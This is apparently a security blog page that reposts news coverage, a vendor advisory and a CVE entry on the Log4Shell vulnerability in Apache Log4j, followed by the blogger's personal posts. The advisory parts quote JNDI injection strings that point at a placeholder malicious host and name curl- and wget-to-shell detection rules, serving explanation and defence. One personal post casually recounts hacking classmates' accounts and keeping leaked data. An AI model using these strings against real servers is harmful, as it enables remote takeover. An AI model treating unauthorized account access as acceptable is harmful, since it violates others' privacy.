Zero Day in Ubiquitous Apache Log4j Tool Under Active Attack

 

Description

An excruciating, easily exploited flaw in the ubiquitous Java logging library Apache Log4j could allow unauthenticated remote code execution (RCE) and complete server takeover — and it’s being exploited in the wild.

The flaw first turned up on sites that cater to users of the world’s favorite game, Minecraft, on Thursday. The sites reportedly warned that attackers could unleash malicious code on either servers or clients running the Java version of Minecraft by manipulating log messages, including from text typed into chat messages.

The same day, the as-yet-unpatched flaw was dubbed “Log4Shell” by LunaSec and began being tracked as CVE-2021-44228.

By early Friday morning, the Cyber Emergency Response Team (CERT) of the Deutsche Telekom Group tweeted that it was seeing attacks on its honeypots coming from the Tor network as threat actors tried to exploit the new bug,

🚨⚠️New #0-day vulnerability tracked under “Log4Shell” and CVE-2021-44228 discovered in Apache Log4j 🌶️‼️ We are observing attacks in our honeypot infrastructure coming from the TOR network. Find Mitigation instructions here: https://t.co/tUKJSn8RPF pic.twitter.com/WkAn911rZX

— Deutsche Telekom CERT (@DTCERT) December 10, 2021

Ditto for CERT New Zealand; and all day, people have piped up on Twitter to warn that they’re also seeing in-the-wild exploits.

This problem is going to cause a mini-internet meltdown, experts said, given that Log4j is incorporated into scads of popular frameworks, including Apache Struts2, Apache Solr, Apache Druid and Apache Flink. That exposes an eye-watering number of third-party apps that may also be vulnerable to the same type of high-severity exploits as that spotted in Minecraft, as well as in cloud services such as Steam and Apple iCloud, LunaSec warned.

As of Friday, version 2.15.0 had been released: log4j-core.jar is available on Maven Central here, with release notes are available here and Apache’s Log4j security announcements available here.

‘Mini-Internet Meltdown’ Imminent?

Even though an initial fix was rushed out on Friday, it’s going to take time to trickle down to all of those projects, given how extensively the logging library is incorporated downstream.

“Expect a mini-internet meltdown soonish,” said British security specialist Kevin Beaumont, who tweeted that the fix “needs to flow downstream to Apache Struts2, Solr, Linux distributions, vendors, appliances etc.”

Just one example of the bug’s massive reach: On Friday morning, Rob Joyce, director of cybersecurity at the National Security Agency (NSA), tweeted that even the NSA’s GHIDRA – a suite of reverse-engineering tools developed by NSA’s Research Directorate – includes the buggy Log4j library.

“The Log4j vulnerability is a significant threat for exploitation due to the widespread inclusion in software frameworks, even NSA’s GHIDRA. This is a case study in why the software bill of material (SBOM) concepts are so important to understand exposure.” — Rob Joyce, NSA Director of Cybersecurity.

Max CVSS Score of 10

The bug find has been credited to Chen Zhaojun of Alibaba. It’s been assigned the maximum CVSS score of 10, given how relatively easy it is to exploit, attackers’ ability to seize control of targeted servers and the ubiquity of Log4j. According to CERT Austria, the security hole can be exploited by simply logging a special string.

Researchers told Ars Technica that Log4Shell is a Java deserialization bug that stems from the library making network requests through the Java Naming and Directory Interface (JNDI) to an LDAP server and executing any code that’s returned. It’s reportedly triggered inside of log messages with use of the ${} syntax.

“JNDI triggers a look-up on a server controlled by the attacker and executes the returned code,” according to CERT Austria’s advisory, posted Friday, which noted that code for an exploit proof-of-concept (PoC) was published on GitHub.

The internet’s reaction: “Umm, yikes.”

“This Log4j (CVE-2021-44228) vulnerability is extremely bad,” tweeted security expert Marcus Hutchins. “Millions of applications use Log4j for logging, and all the attacker needs to do is get the app to log a special string.”

Javageddon

Security researchers don’t want to say that the sky is falling, per se, but. well, it is. They’re comparing this scenario to Shellshock with regards to its huge potential severity. Aka Bashdoor, Shellshock was a family of security bugs in the Unix Bash shell present in almost all Linux, UNIX and Mac OS X deployments. Within hours of its initial disclosure in 2014, it was being exploited by botnets of compromised computers to perform distributed denial-of-service (DDoS) attacks and vulnerability scanning.

Security researchers are considering Log4Shell to be much like Shellshock with regards to the enormous attack surface it poses. John Hammond, Senior Security Researcher at Huntress, who created a PoC for Log4Shell, predicted that threat actors will likely include payloads in simple HTTP connections, either in a User-Agent header or trivial POST form data.

_“_Organizations are already seeing signs of exploitation in the wild, and adversaries will just spray-and-pray across the internet,” he told Threatpost via email on Friday. This isn’t a targeted attack, he noted, given that “there is no target.”

He recommended that organizations actively using Apache log4j “absolutely must upgrade to log4j-2.1.50-rc2 as soon as possible.”

Hammond shared this growing list of software and components vulnerable to Log4Shell that’s being cultivated on GitHub.

``

Affected Versions

On Thursday, LunaSec explained that affected versions are 2.0 <= Apache log4j <= 2.14.1.

It added that JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 aren’t affected by the LDAP attack vector, given that in those versions, “com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load a remote codebase using LDAP.”

Vulnerability also depends on specific configurations. But there are “other attack vectors targeting this vulnerability which can result in RCE,” LunaSec continued. “Depending on what code is present on the server, an attacker could leverage this existing code to execute a payload,” pointing to a Veracode post on an attack targeting the class org.apache.naming.factory.BeanFactory that’s present on Apache Tomcat servers.

LunaSec concluded that, “given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe.”

Organizations can tell if they’re affected by examining log files for services using affected Log4j versions. If they contain user-controlled strings – CERT-NZ uses the example of “Jndi:ldap” – they could be affected.

“If you believe you may be impacted by CVE-2021-44228, Randori encourages all organizations to adopt an assumed breach mentality and review logs for impacted applications for unusual activity,” cybersecurity researchers at Randori wrote in a blog post.

Chris Morgan, senior cyber threat intelligence analyst at Digital Shadows, noted that a workaround released to address the flaw, which comes as part of Log4j version 2.15.0; reportedly changes a system setting from “false” to “true” by default.

Don’t change that, he warned: users who change the setting back to “false” remain vulnerable to attack, and as a result, “it is highly recommended that this is not returned to its previous setting.,” he told Threatpost on Friday. “Given the scale of affected devices and exploitability of the bug, it is highly likely to attract considerable attention from both cybercriminals and nation-state-associated actors. Organizations are advised to update to version 2.15.0 and place additional vigilance on logs associated with susceptible applications.”

Temporary Mitigation

To keep the library from being exploited, it’s urgently recommended that Log4j versions are upgraded to log4j-2.15.0-rc1.

But for those who can’t update straight off, LunaSec pointed to a discussion on HackerNews regarding a mitigation strategy available in version 2.10.0 and higher of Log4j that was posted in the early hours of Friday morning.

For versions older than 2.10.0 that can’t be upgraded, these mitigation choices have been suggested:

• Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files (here are Apache’s details); or,
• Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behavior; or
• Users should switch log4j2.formatMsgNoLookups to true by adding:”‐Dlog4j2.formatMsgNoLookups=True” to the JVM command for starting the application.

How the Vulnerability Works

The Huntress ThreatOps team has published details on the vulnerability’s impact and advice on what organizations should do next. Expect it and other reports to be updated as the situation unfolds.

Huntress researchers said that the attack vector is “extremely trivial” for threat actors. As has been noted, it takes just a single text string to trigger an application to reach out to an external location if it’s logged via the vulnerable instance of log4j.

As Hammond told Threatpost, a possible exploit could entail a threat actor supplying special text in an HTTP User-Agent header or a simple POST form request, with the usual form:

${jndi:ldap://maliciousexternalhost.com/resource

…where maliciousexternalhost.com is an instance controlled by the adversary.

The log4j vulnerability parses the input and reaches out to the malicious host via the JNDI. “The first-stage resource acts as a springboard to another attacker-controlled endpoint, which serves Java code to be executed on the original victim,” according to Huntress. “Ultimately, this grants the adversary the opportunity to run any code they would like on the target: remote code execution.”

Stop, Drop, Hunt It Down

So much for baking Christmas cookies: It’s going to be a long weekend for a lot of people, according to Casey Ellis, founder and CTO at Bugcrowd, who calls it “a worst-case scenario.”

“The combination of log4j’s ubiquitous use in software and platforms, the many, many paths available to exploit the vulnerability, the dependencies that will make patching this vulnerability without breaking other things difficult, and the fact that the exploit itself fits into a tweet,” he told Threatpost on Friday via email.

First things first, he said, “stop what you’re doing as a software shop and enumerate where log4j exists and might exist in your environment and products.”

He noted that it’s the kind of software “that can quite easily be there without making its presence obvious, so we expect the tail of exploitability on this vulnerability to be quite long.”

Tim Wade, technical director of the CTO team at Vectra, told Threatpost that the specifics of how attacks will play out are “still a bit open-ended.” But given the widespread use and position of the underlying software, he said, “it absolutely looks like a good candidate for malicious network ingress, which means network defenders should be on guard for suspicious outbound traffic that may indicate command-and-control.”

Wade said this is an example of how critical effective detection and response capabilities are, and “really exposes how risky the ‘prevent, patch, and pray’ strategy that’s so widely adopted in legacy security programs really is.”

John Bambenek, principal threat hunter at Netenrich, said that mitigations should be applied ASAP, including updating Java. He told Threatpost that Web application firewalls should also be updated with an appropriate rule to block such attacks.

121021 15:57 UPDATE: Added input from John Hammond, John Bambenek, Tim Wade and Casey Ellis.

Read More

Widespread Exploitation of Critical Remote Code Execution in Apache Log4j

 Overview

• Affected versions

• Mitigation and detection guidance

• Rapid7 customers

• InsightVM and Nexpose

• InsightIDR and Managed Detection and Response

• Velociraptor

• tCell

• InsightCloudSec

• IntSights

• Attacks and campaigns

• External resources

• Updates

---

Need clarity on detecting and mitigating the Log4j vulnerability?

Rapid7 is continuously monitoring our environment for Log4Shell vulnerability instances and exploit attempts. At this time, we have not detected any successful exploit attempts in our systems or solutions. For further information and updates about our internal response to Log4Shell

Information and exploitation of this vulnerability are evolving quickly. We will update this blog with further information as it becomes available.

Overview

CVE	Vendor Advisory	AttackerKB	IVM Content	Patching Urgency	Last Update
CVE-2021-44228	Apache Advisory	AttackerKB	Authenticated, remote, and agent checks are available in InsightVM, along with Container Security assessment.	Immediately (emergency)	January 3, 2022 5:15 PM ET

On December 6, 2021, Apache released version 2.15.0 of their Log4j framework, which included a fix for CVE-2021-44228, a critical (CVSSv3 10) remote code execution (RCE) vulnerability affecting Apache Log4j 2.14.1 and earlier versions. The vulnerability resides in the way specially crafted log messages were handled by the Log4j processor. Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled. On December 13, 2021, Apache released Log4j 2.16.0, which no longer enables lookups within message text by default

Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system. CVE-2021-44228 is being broadly and opportunistically exploited in the wild as of December 10, 2021. Multiple sources have noted both scanning and exploit attempts against this vulnerability. Rapid7 researchers have developed and tested a proof-of-concept exploit that works against the latest Struts2 Showcase (2.5.27) running on Tomcat. We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible. CISA has also published an alert advising immediate mitigation of CVE-2021-44228.

A huge swath of products, frameworks, and cloud services implement Log4j, which is a popular Java logging library. Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies.

Affected versions

According to Apache’s advisory, all Apache Log4j (version 2.x) versions up to 2.14.1 are vulnerable if message lookup substitution was enabled.

Mitigation and detection guidance

Security teams and network administrators should update to Log4j 2.17.0 immediately, invoking emergency patching and/or incident response procedures to identify affected systems, products, and components and remediate this vulnerability with the highest level of urgency. They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) and local system events on web application servers executing curl and other, known remote resource collection command line programs. Furthermore, we recommend paying close attention to security advisories mentioning Log4j and prioritizing updates for those solutions.

According to Apache’s advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0. Apache later updated their advisory to note that the fix for CVE-2021-44228 was incomplete in certain non-default configurations. CVE-2021-45046 has been issued to track the incomplete fix, and both vulnerabilities have been mitigated in Log4j 2.16.0. An additional Denial of Service (DoS) vulnerability, CVE-2021-45105, was later fixed in version 2.17.0 of Log4j.

• In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
• For releases >=2.7 and <=2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m.
• For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false.

According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. In Log4j releases >=2.10, this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath (e.g. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false. Rapid7 researchers are working to validate that upgrading to higher JDK/JRE versions does fully mitigate attacks.

Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string “${jndi:” in any inbound request and monitoring all application and web server logs for similar strings.

EmergentThreat Labs has made Suricata and Snort IDS coverage for known exploit paths of CVE-2021-44228.

Researchers are maintaining a public list of known affected vendor products and third-party advisories releated to the Log4j vunlerability.

Rapid7 customers

InsightVM and Nexpose

[Update: December 17, 2021 4:50pm ET]

Authenticated and Remote Checks
InsightVM version 6.6.121 supports authenticated scanning for Log4Shell on Linux and Windows systems. After installing the product updates, restart your console and engine.

• Unix and Windows: apache-log4j-core-cve-2021-44228 authenticated vulnerability check performs a complete file system search for vulnerable versions of the Log4j on Linux and Windows systems. Windows file system search must be enabled in the scan template for the authenticated check to run in Windows environments.
• Windows, Linux, Mac: apache-log4j-core-cve-2021-44228-remote unauthenticated vulnerability check attempts to trigger a connection back to the scan engine to determine vulnerability.

Version 6.6.121 also includes the ability to disable remote checks.

Agent checks
Insight Agent version 3.1.2.36 was released on December 12, 2021 and includes collection support for Log4j JAR files on Mac and Linux systems so that vulnerability assessments of the authenticated check for CVE-2021-44228 will work for updated Agent-enabled systems.

Insight Agent collection on Windows for Log4j began rolling out in version 3.1.2.38 as of December 17, 2021. It will take several days for this roll-out to complete.

• If you are using the Insight Agent to assess your assets for vulnerabilities and you are not yet on version 3.1.2.38, you can uncheck the “Skip checks performed by the Agent” option in the scan template to ensure that authenticated checks run on Windows systems.
• If you rely on the Insight Agent for vulnerability management, consider setting the Throttle level to High (which is the default) to ensure updates are applied as quickly as possible.

Containers
InsightVM customers utilizing Container Security can assess containers that have been built with a vulnerable version of the library.

InsightIDR and Managed Detection and Response

Rapid7 InsightIDR has several detections that will identify common follow-on activity used by attackers. Additionally, our teams are reviewing our detection rule library to ensure we have detections based on any observed attacker behavior related to this vulnerability seen by our Incident Response (IR), MDR, and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors.

• [Update: December 10, 2021 3:30pm ET]
  • Our Threat Detection & Response team has deployed detection rules to help identify attacker behavior related to this vulnerability:
    • Attacker Technique - Curl or Wget To Public IP Address With Non Standard Port
    • Suspicious Process - Curl or WGet Pipes Output to Shell
  • We also identified an existing detection rule that that was providing coverage prior to identification of the vulnerability:
    • Suspicious Process - Curl to External IP Address
• [Update: December 10, 2021 7:00pm ET]
  • An additional rule has been deployed:
    • Attacker Technique - Curl Or WGet To External IP Reporting Server IP In URL

Velociraptor

A Velociraptor artifact has been added that can be used to hunt against an environment for exploitation attempts against log4j RCE vulnerability. A second Velociraptor artifact that looks for certain known-vulnerable JAR files was also added on December 12, 2021. A third Velociraptor artifact is now available and will run Yara rules across JAR files and report on the vulnerable class.

tCell

Along with the guidance below, our tCell team has a new, longer blog post on these detections and how to use them to safeguard your applications.

New Pattern update for monitoring rule

For tCell customers, we have updated our AppFirewall patterns to detect log4shell. This means customers can view monitoring events in the App Firewall feature of tCell should log4shell attacks occur.

New Default pattern to configure a block rule

In order to protect your application against any exploit of Log4j, we’ve added a default pattern (tc-cdmi-4) for customers to block against. Below is the video on how to set up this custom block rule (don’t forget to deploy!), or reach out to the tCell team if you need help with this. As research continues and new patterns are identified, they will automatically be applied to** tc-cdmi-4**to improve coverage. 

Identify vulnerable packages and enable OS Commands

tCell will alert you if any vulnerable packages (such as CVE 2021-44228) are loaded by the application.

tCell Customers can also enable blocking for OS commands. This will prevent a wide range of exploits leveraging things like curl, wget, etc. Please note, for those customers with apps that have executables, ensure you’ve included it in the policy as allowed, and then enable blocking.

InsightCloudSec

The InsightCloudSec and InsightVM integration will identify cloud instances which are vulnerable to CVE-2021-44228 in InsightCloudSec. Customers can use the context and enrichment of ICS to identify instances which are exposed to the public or attached to critical resources.

Applying two Insight filters — Instance Vulnerable To Log4Shell and Instance On Public Subnet Vulnerable To Log4Shell — will enable identification of publicly exposed vulnerable assets and applications.

IntSights

IntSights researchers have provided a perspective on what’s happening in criminal forums with regard to Log4Shell and will continue to track the attacker’s-eye view of this new attack vector.

Attacks and campaigns

Rapid7 Labs is now maintaing a regularly updated list of unique Log4Shell exploit strings as seen by Rapid7’s Project Heisenberg.

Bitdefender has details of attacker campaigns using the Log4Shell exploit for Log4j. Their technical advisory noted that the Muhstik Botnet, and XMRIG miner have incorporated Log4Shell into their toolsets, and they have also seen the Khonsari ransomware family adapted to use Log4Shell code.

External resources

The following resources are not maintained by Rapid7 but may be of use to teams triaging Log4j/Log4Shell exposure.

CISA now maintains a list of affected products/services that is updated as new information becomes available.

CISA also has posted a dedicated resource page for Log4j info aimed mostly at Federal agencies, but consolidates and contains information that will be used to protectors in any organization.

ShadowServer is a non-profit organization that offers free Log4Shell exposure reports to organizations.

NCSC NL maintains a regularly updated list of Log4j/Log4Shell triage and information resources.

Updates

[December 10, 2021, 5:45pm ET]
Rapid7 has posted a technical analysis of CVE-2021-44228 on AttackerKB.

[December 11, 2021, 11:15am ET]
Added additional resources for reference and minor clarifications.

[December 11, 2021, 4:30pm ET]
VMware has published an advisory listing 30 different VMware products vulnerable to CVE-2021-44228, including vCenter Server, Horizon, Spring Cloud, Workspace ONE Access, vRealize Operations Manager, and Identity Manager. Their response matrix lists available workarounds and patches, though most are pending as of December 11.

Rapid7 has observed indications from the research community that they have already begun investigating RCE exploitability for products that sit in critical places in corporate networks, including network infrastructure solutions like vCenter Server. VMware customers should monitor this list closely and apply patches and workarounds on an emergency basis as they are released.

[December 11, 2021, 10:00pm ET]
Apache Struts 2 Vulnerable to CVE-2021-44228
The Apache Struts 2 framework contains static files (Javascript, CSS, etc) that are required for various UI components. Finding and “serving” these components is handled by the Struts 2 class DefaultStaticContentLoader. The DefaultStaticContentLoader is vulnerable to Log4j CVE-2021-44228;
given the default static content, basically all Struts implementations should be trivially vulnerable. Rapid7’s vulnerability research team has technical analysis, a simple proof-of-concept, and an example log artifact available in AttackerKB.

[December 12, 2021, 2:20pm ET]
InsightVM and Nexpose customers can now assess their exposure to CVE-2021-44228 with an authenticated vulnerability check. Note that this check requires that customers update their product version and restart their console and engine. See the Rapid7 customers section for details.

[December 13, 2021, 10:30am ET]
Updated mitigations section to include new guidance from Apache Log4J team and information on how to use InsightCloudSec + InsightVM to help identify vulnerable instances.

[December 13, 2021, 2:40pm ET]
Rapid7 researchers have confirmed and demonstrated that essentially all vCenter Server instances are trivially exploitable by a remote, unauthenticated attacker. Technical analysis, proof-of-concept code, and indicators of compromise for this vector are available in AttackerKB.

[December 13, 2021, 4:00pm ET]
tCell customers can now view events for log4shell attacks in the App Firewall feature. Additionally, customers can set a block rule leveraging the default tc-cdmi-4 pattern.

[December 13, 2021, 6:00pm ET]
We received some reports of the remote check for InsightVM not being installed correctly when customers were taking in content updates. Product version 6.6.119 was released on December 13, 2021 at 6pm ET to ensure the remote check for CVE-2021-44228 is available and functional. Customers will need to update and restart their Scan Engines/Consoles.

[December 13, 2021, 8:15pm ET]
Information on Rapid7’s response to Log4Shell and the vulnerability’s impact to Rapid7 solutions and systems is now available here.

[December 14, 2021, 08:30 ET]
Apache has released Log4j 2.16. This disables the Java Naming and Directory Interface (JNDI) by default and requires log4j2.enableJndi to be set to true to allow JNDI. It also completely removes support for Message Lookups, a process that was started with the prior update. It mitigates the weaknesses identified in the newly released CVE-22021-45046.

Rapid7 has posted resources to assist InsightVM and Nexpose customers in scanning for this vulnerability. This post, “Using InsightVM to Find Apache Log4j CVE-2021-44228” goes into detail on how the scans work and includes a SQL query for reporting. For product help, we have added documentation on step-by-step information to scan and report on this vulnerability.

[December 14, 2021, 2:30 ET]
Along with Log4Shell, we also have CVE-2021-4104 — reported on December 9, 2021 — a flaw in the Java logging library Apache Log4j in version 1.x. JMSAppender that is vulnerable to deserialization of untrusted data. This allows a remote attacker to execute code on the server if the deployed application is configured to use JMSAppender and to the attacker’s JMS Broker. Note this flaw only affects applications which are specifically configured to use JMSAppender, which is not the default, or when the attacker has write-access to the Log4j configuration for adding JMSAppender to the attacker’s JMS Broker.

[December 14, 2021, 3:30 ET]
CISA has posted a dedicated resource page for Log4j info aimed mostly at Federal agencies, but consolidates and contains information that will be used to protectors in any organization.

Rapid7 Labs is now maintaing a regularly updated list of unique Log4Shell exploit strings as seen by Rapid7’s Project Heisenberg.

[December 14, 2021, 4:30 ET]
Added a section (above) on what our IntSights team is seeing in criminal forums on the Log4Shell exploit vector.

[December 15, 2021, 09:10 ET]
Added a new section to track active attacks and campaigns. See above for details on a new ransomware family incorporating Log4Shell into their repertoire.

[December 15, 2021, 10:00 ET]
Along with the guidance below, our tCell team has a new, longer blog post on these detections and how to use them to safeguard your applications.

[December 15, 2021 6:30 PM ET]
Apache has fixed an additional vulnerability, CVE-2021-45046, in Log4j version 2.16.0 to address an incomplete fix for CVE-2021-44228 in certain non-default configurations. Apache’s security bulletin now advises users that they must upgrade to 2.16.0 to fully mitigate CVE-2021-44228. InsightVM and Nexpose customers can assess their exposure to CVE-2021-45046 with an authenticated (Linux) check.

Apache also appears to have updated their advisory with information on a separate version stream of Log4j vulnerable to CVE-2021-44228. They have issued a fix for the vulnerability in version 2.12.2 as well as 2.16.0. We are investigating the feasibility of InsightVM and Nexpose coverage for this additional version stream.

Version 6.6.120 of the Scan Engine and Console is now available to InsightVM and Nexpose customers and includes improvements to the authenticated Linux check for CVE-2021-44228.

[December 17, 2021 09:30 ET]
An “external resources” section has been added that includes non-Rapid7 resources on Log4j/Log4Shell that may be of use to customers and the community.

CVE-2021-45046 has been escalated from a CVSS score of 3.7 to 9.0 on the Apache Foundation website. The vulnerability was designated when it became clear that the fix for CVE-2021-44228 was “incomplete in certain non-default configurations’’ and has now been upgraded in severity due to reports that it not only allows for DoS attacks, but also information leaks and in some specific cases, RCE (currently being reported for macOS). No in-the-wild-exploitation of this RCE is currently being publicly reported. The fix for this is the Log4j 2.16 update released on December 13. If you have not upgraded to this version, we strongly recommend you do so, though we note that if you are on v2.15 (the original fix released by Apache), you will be covered in most scenarios. Update to 2.16 when you can, but don’t panic that you have no coverage.
CVE-2021-45046 is an issue in situations when a logging configuration uses a non-default Pattern Layout with a Context Lookup. In this case, attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern.

[December 17, 12:15 PM ET]
Starting in version 6.6.121 released December 17, 2021, we have updated product functionality to allow InsightVM and Nexpose customers to scan for the Apache Log4j (Log4Shell) vulnerability on Windows devices with the authenticated check for CVE-2021-44228. This update now gives customers the option to enable Windows File System Search to allow scan engines to search all local file systems for specific files on Windows assets. Customers should ensure they are running version 6.6.121 of their Scan Engines and Consoles and enable Windows File System Search in the scan template. The update to 6.6.121 requires a restart.

Note: Searching entire file systems across Windows assets is an intensive process that may increase scan time and resource utilization. To allow this, you can enable Windows file system searching in the scan template in order to use the authenticated check for Log4j on Windows systems.

In some cases, customers who have enabled the “Skip checks performed by the Agent” option in the scan template may see that the Scan Engine has skipped authenticated vulnerability checks. If you have the Insight Agent running in your environment, you can uncheck “Skip checks performed by the Agent” option in the scan template to ensure that authenticated checks run on Windows systems.

[December 17, 4:50 PM ET]
Insight Agent collection on Windows for Log4j has begun rolling out in version 3.1.2.38 as of December 17, 2021. It will take several days for this roll-out to complete. If you are using the Insight Agent to assess your assets for vulnerabilities and you are not yet on version 3.1.2.38, you can uncheck the “Skip checks performed by the Agent” option in the scan template to ensure that authenticated checks run on Windows systems.

Read more about scanning for Log4Shell here.

[December 17, 2021, 6 PM ET]
Reports are coming in of ransomware group, Conti, leveraging CVE-2021-44228 (Log4Shell) to mount attacks. According to a report from AdvIntel, the group is testing exploitation by targeting vulnerable Log4j2 instances in VMware vCenter “for lateral movement directly from the compromised network resulting in vCenter access affecting US and European victim networks from the pre-existent Cobalt Strike sessions.” Expect more widespread ransom-based exploitation to follow in coming weeks.

[December 20, 2021 8:50 AM ET]
Added an entry in “External Resources” to CISA’s maintained list of affected products/services.

[December 20, 2021 1:30 PM ET]
InsightVM and Nexpose customers can assess their exposure to CVE-2021-45105 as of December 20, 2021 with an authenticated vulnerability check. CVE-2021-45105 is a Denial of Service (DoS) vulnerability that was fixed in Log4j version 2.17.0. Our check for this vulnerability is supported in on-premise and agent scans (including for Windows).
Content update: ContentOnly-content-1.1.2361-202112201646
JarID: 3961186789

Please note that Apache’s guidance as of December 17, 2021 is to update to version 2.17.0 of Log4j. While this is good guidance, given the severity of the original CVE-2021-44228, organizations should prioritize ensuring all Log4j versions have been updated to at least 2.16.0.

[December 22, 2021]
Rapid7 has released a new Out of Band Injection Attack template to test for Log4Shell in InsightAppSec. Learn more about the details here.

[December 23, 2021]
Apache has released Log4j 2.12.3 for Java 7 users and 2.3.1 for Java 6 users to mitigate Log4Shell-related vulnerabilities. Notably, both Java 6 and Java 7 are end-of-life (EOL) and unsupported; we strongly recommend upgrading to Java 8 or later. If you cannot update to a supported version of Java, you should ensure you are running Log4j 2.12.3 or 2.3.1.

[December 28, 2021]
Apache has released Log4j versions 2.17.1 (Java 8), 2.12.4 (Java 7), and 2.3.2 (Java 6) to mitigate a new vulnerability. CVE-2021-44832 is of moderate severity (CVSSv3 6.6) and exists only in a non-default configuration that requires the attacker to have control over Log4j configuration. This is an extremely unlikely scenario. Applications do not, as a rule, allow remote attackers to modify their logging configuration files. While keeping up-to-date on Log4j versions is a good strategy in general, organizations should not let undue hype on CVE-2021-44832 derail their progress on mitigating the real risk by ensuring CVE-2021-44228 is fully remediated.

[January 3, 2022]
InsightVM and Nexpose customers can assess their exposure to Log4j CVE-2021-44832 with an authenticated vulnerability check as of December 31, 2021. Please note that as we emphasized above, organizations should not let this new CVE, which is significantly overhyped, derail progress on mitigating CVE-2021-44228.

Read More

CVE-2021-44228

 

Description

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message
parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Notes

Author	Note
mdeslaur	apache-log4j1.2 contains a similar issue in a non-default configuration, and it was assigned CVE-2021-4104, see that CVE for information about apache-log4j1.2

Read More

My final Post

 This is going to be my final post on this blog.

I started learning & writing blogs at same time on this blogging site. Its been more than 12 years since I started this. Thanks for all the viewers who were been a part learning with me on this blog. No one is 100% perfect in any perticular domain. Even I am not good at hacking because as you know that everything digital, electrical, electronical, biological can be hacked & its very huge subject to learn everything.

I am good at OSINT, pentesting, vulnerability assesments & its pretty enough for me. I still need to learn about satellites, telecom frequencies, electronics. I started getting interested in BioHack, Transhumanism, Cyborg implants. But I am just blocking my mind from thinking about all these. These are few amazing technologies but we need to realize that these interests cant feed us. Though these can be a real business but our world is not yet ready for bionics or biohacking yet.

I still learn and practice hacking, but for good. I just have one life, and want to utilize every single second. So forming a small business to work on Cyber Security & data security of Individuals & Enterprises

THANK YOU
With 💗

GlobalHackers

Read More

CoWIN 150 million Data Hacked

 CoWIN 150 million Data Hacked is actually a scam

The group / one person who is posting this info is neither a hacker or ransom group. They just know how to host darkweb website.

For example, ADATA data is being released by Ragnar_Locker ransom group but they didn't uploaded yet. But these fraudsters have posted about leak for $500 though they don't have files.

They post any data to grab others money, I want CyberSec to stop publishing about their data on social networking websites. Please investigate info from your end or atleast find which real group is leaking it.

Read More

My Journey on Hacking

Before starting up with this topic, I would like to say, I don't do any of the hacking activities for financial gain (I earn and take payment only if I am involved in legal activities). I have most of the leaked data but I have nothing to do with anyone's info. I keep them only to extract encrypted passwords to make an application & let people know which passwords not to use (its just like cyber security services).

In addition to this, everyone involved in Ethical Hacking or Hacking or Cyber Security have a pseudonym & we must use it to hide our true identity.

Now, coming to my journey…

When I was in Intermediate (K12) in 2006/7, one of my classmate asked other classmate whether he know about hacking. With the curiosity, I asked him what is hacking. If they gave minimum info about what it is, I wouldn’t have researched about it at all but they replied by saying its hard to explain / you are noob & cannot understand it. So, I felt sad as I didn’t get what I want to know. And when I got back home, I started searching online about hacking and all, I started learning like crazy because everything was so new as I got my 1^st computer just few days before. I just started understanding about basics of networking, Linux was so new for me at that time, started learning about how network infrastructure works, started learning basic programming. Daily I start learning something new & even today I learn something new. Thanks to those two friends who replied me rude when I asked about hacking because after I started learning, I hacked into their Orkut account (I think) and gave them their passwords. Their shocking expression made me happy because its not only result of my learning but its payback to talk rude.

Then after K12, there was a long holiday between K12 & Engineering Degree, so I started learning more about hacking and at that time I came across dark web. When all my friends were having fun outside & making girlfriends, I was having amazing time learning.

I would say, Hacking is equal to OCEAN. There is no end to learning because there is no end to changes in existing software development.

When can we stop learning about hacking?
Its when all softwares, all operating systems, all internet & intranet infrastructure, all satellites, all vehicles, all sensors, all electronics, all wireless technologies, all IoT devices etc. get 100% secured & 100% vulnerability free, that will be the end of hacking & learning hacking, so now you know when you will have 100% knowledge. I say it’s never.

